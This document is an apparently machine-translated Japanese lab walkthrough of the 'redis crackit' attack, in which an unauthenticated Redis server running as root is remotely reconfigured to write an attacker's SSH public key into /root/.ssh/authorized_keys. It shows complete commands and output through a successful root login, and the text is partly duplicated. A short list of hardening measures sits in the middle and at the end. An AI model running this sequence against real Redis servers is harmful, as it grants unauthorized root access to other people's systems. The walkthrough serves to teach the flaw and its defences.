redis crackit脆弱性プロセスの復元
10381 ワード
**
** 1.2台のテストマシンにreidsをそれぞれ取り付け,1台は攻撃を開始するマシン(ローカルredis-cliを使用してリモートredis-serverにログイン可能),1台は攻撃されるマシン(redis-serverを実行)とする.
2.test-hadoop-s 1のredisプロファイルを変更して、redisが任意のipアドレスからの接続を許可する(ローカル接続のみが許可されている場合はリモートからの攻撃も話にならない)、またredisがパスワードを必要とせずにログインできるようにする(これも攻撃者が成功できる条件の一つであり、パスワードが設定され、パスワードの強度がかなり高い場合は攻撃を効果的に回避できる)
コメントは次のとおりです(デフォルトはコメントです)
3.rootユーザーでredisを起動し、/etc/initを使用する.d/redis startまたはservice redis start方式の起動は、redisユーザ(nologinユーザ)で起動するものであり、このとき/root/を備える.sshのディレクトリ権限では、その内容を操作できません.後続の破壊行為も無理だ.
4.test-hadoop-s 1、test-hadoop-s 2ともにファイアウォールが設けられていないため、test-hadoop-s 2からtest-hadoop-s 1のredis-serverに接続することができる.適切なファイアウォールが設定されており、特定のホストのみが接続できる場合、攻撃行為も効果的に回避できます.
5.テストtest-hadoop-s 2からtest-hadoop-s 1へのredisが通じる
また、リモート接続が可能かどうかを以下のようにテストすることもできます.
6.test-hadoop-s 2において、公開/秘密鍵ペアが生成する、/root/.ssh/id_rsa.pubと/root/.ssh/id_rsaで.
7.テストのみなので、test-hadoop-s 1にあるauthorized_をバックアップしておきますkeysファイルは、テストが完了した後にリカバリできるようにします.
8.test-hadoop-s 2により、redisの永続化ディレクトリとバックアップファイル名をコマンドラインに再構成し、バックアップディレクトリを公開/秘密鍵を保存するディレクトリ/root/とする.ssh、バックアップファイル名authorized_keys
9.test-hadoop-s 2でtest-hadoop-s 1に接続されているredisは、すべてのdbをクリアし、test-hadoop-s 2で生成された公開鍵をcrackitというkeyに書き込み、バックアップファイルに永続的に保存します.
これによりtest-hadoop-s 2の公開鍵がtest-hadoop-s 1の/root/に書き込まれる.ssh/authorized_keysファイルではtest-hadoop-s 2にパスワードなしでtest-hadoop-s 1にログインできます
10.接続をテストし、sshコマンドで秘密鍵でログインする
さあ、rootユーザーを通じて好きなようにすることができます!!!
脆弱性を復元する過程から、攻撃を避ける方法がわかります.以下のいくつかの面から防御することができます. redisユーザによるredisサービスの開始rootユーザによる の開始を回避する.はredisに対して強度の高いパスワードを構成し、空のパスワード、弱いパスワード、またはデフォルトのパスワード を使用しないでください.は、redisが特定のホストからのみアクセスできることを規定し、例えば127.0.0.1であり、すべてのホストが0.0.0.0 を許可することではない.デフォルト6379ポート を変更 flushall、configなどの などの特殊なコマンドを無効にします. redisサービスが存在するホストに堅牢なファイアウォール を構成する.
redis crackit脆弱性プロセスの復元
** 1.2台のテストマシンにreidsをそれぞれ取り付け,1台は攻撃を開始するマシン(ローカルredis-cliを使用してリモートredis-serverにログイン可能),1台は攻撃されるマシン(redis-serverを実行)とする.
[root@test-hadoop-s1 ~]# yum install redis -y
[root@test-hadoop-s2 ~]# yum install redis -y
2.test-hadoop-s 1のredisプロファイルを変更して、redisが任意のipアドレスからの接続を許可する(ローカル接続のみが許可されている場合はリモートからの攻撃も話にならない)、またredisがパスワードを必要とせずにログインできるようにする(これも攻撃者が成功できる条件の一つであり、パスワードが設定され、パスワードの強度がかなり高い場合は攻撃を効果的に回避できる)
[root@test-hadoop-s1 ~]# vim /etc/redis.conf
bind 0.0.0.0
コメントは次のとおりです(デフォルトはコメントです)
# requirepass foobared
3.rootユーザーでredisを起動し、/etc/initを使用する.d/redis startまたはservice redis start方式の起動は、redisユーザ(nologinユーザ)で起動するものであり、このとき/root/を備える.sshのディレクトリ権限では、その内容を操作できません.後続の破壊行為も無理だ.
[root@test-hadoop-s1 ~]# sudo redis-server /etc/redis.conf
4.test-hadoop-s 1、test-hadoop-s 2ともにファイアウォールが設けられていないため、test-hadoop-s 2からtest-hadoop-s 1のredis-serverに接続することができる.適切なファイアウォールが設定されており、特定のホストのみが接続できる場合、攻撃行為も効果的に回避できます.
[root@test-hadoop-s1 ~]# iptables -L -nv
Chain INPUT (policy ACCEPT 32M packets, 26G bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 34M packets, 25G bytes)
pkts bytes target prot opt in out source destination
[root@test-hadoop-s2 ~]# iptables -L -nv
Chain INPUT (policy ACCEPT 86M packets, 61G bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 84M packets, 71G bytes)
pkts bytes target prot opt in out source destination
5.テストtest-hadoop-s 2からtest-hadoop-s 1へのredisが通じる
[root@test-hadoop-s2 ~]# redis-cli -h test-hadoop-s1 -p 6379
redis test-hadoop-s1:6379>
また、リモート接続が可能かどうかを以下のようにテストすることもできます.
[root@test-hadoop-s2 ~]# telnet test-hadoop-s1 6379
Trying 10.104.154.155...
Connected to test-hadoop-s1.
Escape character is '^]'.
echo "hello"
$7
"hello"
quit
+OK
Connection closed by foreign host.
6.test-hadoop-s 2において、公開/秘密鍵ペアが生成する、/root/.ssh/id_rsa.pubと/root/.ssh/id_rsaで.
[root@test-hadoop-s2 ~]# ssh-keygen -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
3e:69:20:d1:bb:ee:dc:cc:30:7b:da:6e:90:e0:35:0b [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
| |
| . |
| . . |
| E.o. |
| ..+o+S |
| ..++ . |
| +.= |
| o Xo. |
| .*=* |
+-----------------+
7.テストのみなので、test-hadoop-s 1にあるauthorized_をバックアップしておきますkeysファイルは、テストが完了した後にリカバリできるようにします.
[root@test-hadoop-s1 ~]# cd .ssh/
[root@test-hadoop-s1 .ssh]# ll
total 16
-rw-r--r-- 1 root root 2003 Mar 2 16:25 authorized_keys
-rw------- 1 root root 1675 Mar 2 16:20 id_rsa
-rw-r--r-- 1 root root 401 Mar 2 16:20 id_rsa.pub
-rw-r--r-- 1 root root 2403 Apr 6 13:13 known_hosts
[root@test-hadoop-s1 .ssh]# mv authorized_keys authorized_keys_bak
8.test-hadoop-s 2により、redisの永続化ディレクトリとバックアップファイル名をコマンドラインに再構成し、バックアップディレクトリを公開/秘密鍵を保存するディレクトリ/root/とする.ssh、バックアップファイル名authorized_keys
[root@test-hadoop-s2 ~]# redis-cli -h test-hadoop-s1 -p 6379
redis test-hadoop-s1:6379> config set dir /root/.ssh
OK
redis test-hadoop-s1:6379> config set dbfilename "authorized_keys"
OK
9.test-hadoop-s 2でtest-hadoop-s 1に接続されているredisは、すべてのdbをクリアし、test-hadoop-s 2で生成された公開鍵をcrackitというkeyに書き込み、バックアップファイルに永続的に保存します.
[root@test-hadoop-s2 ~]# redis-cli -h test-hadoop-s1 -p 6379 flushall
OK
[root@test-hadoop-s2 ~]# (echo -e '
';cat /root/.ssh/id_rsa.pub;echo -e '
') | redis-cli -h test-hadoop-s1 -p 6379 -x set crackit
OK
[root@test-hadoop-s2 ~]# redis-cli -h test-hadoop-s1 -p 6379 save
OK
これによりtest-hadoop-s 2の公開鍵がtest-hadoop-s 1の/root/に書き込まれる.ssh/authorized_keysファイルではtest-hadoop-s 2にパスワードなしでtest-hadoop-s 1にログインできます
10.接続をテストし、sshコマンドで秘密鍵でログインする
[root@test-hadoop-s2 ~]# ssh -i /root/.ssh/id_rsa root@test-hadoop-s1
Last login: Tue Apr 19 16:17:38 2016 from 10.104.142.115
[root@test-hadoop-s1 ~]#
さあ、rootユーザーを通じて好きなようにすることができます!!!
脆弱性を復元する過程から、攻撃を避ける方法がわかります.以下のいくつかの面から防御することができます.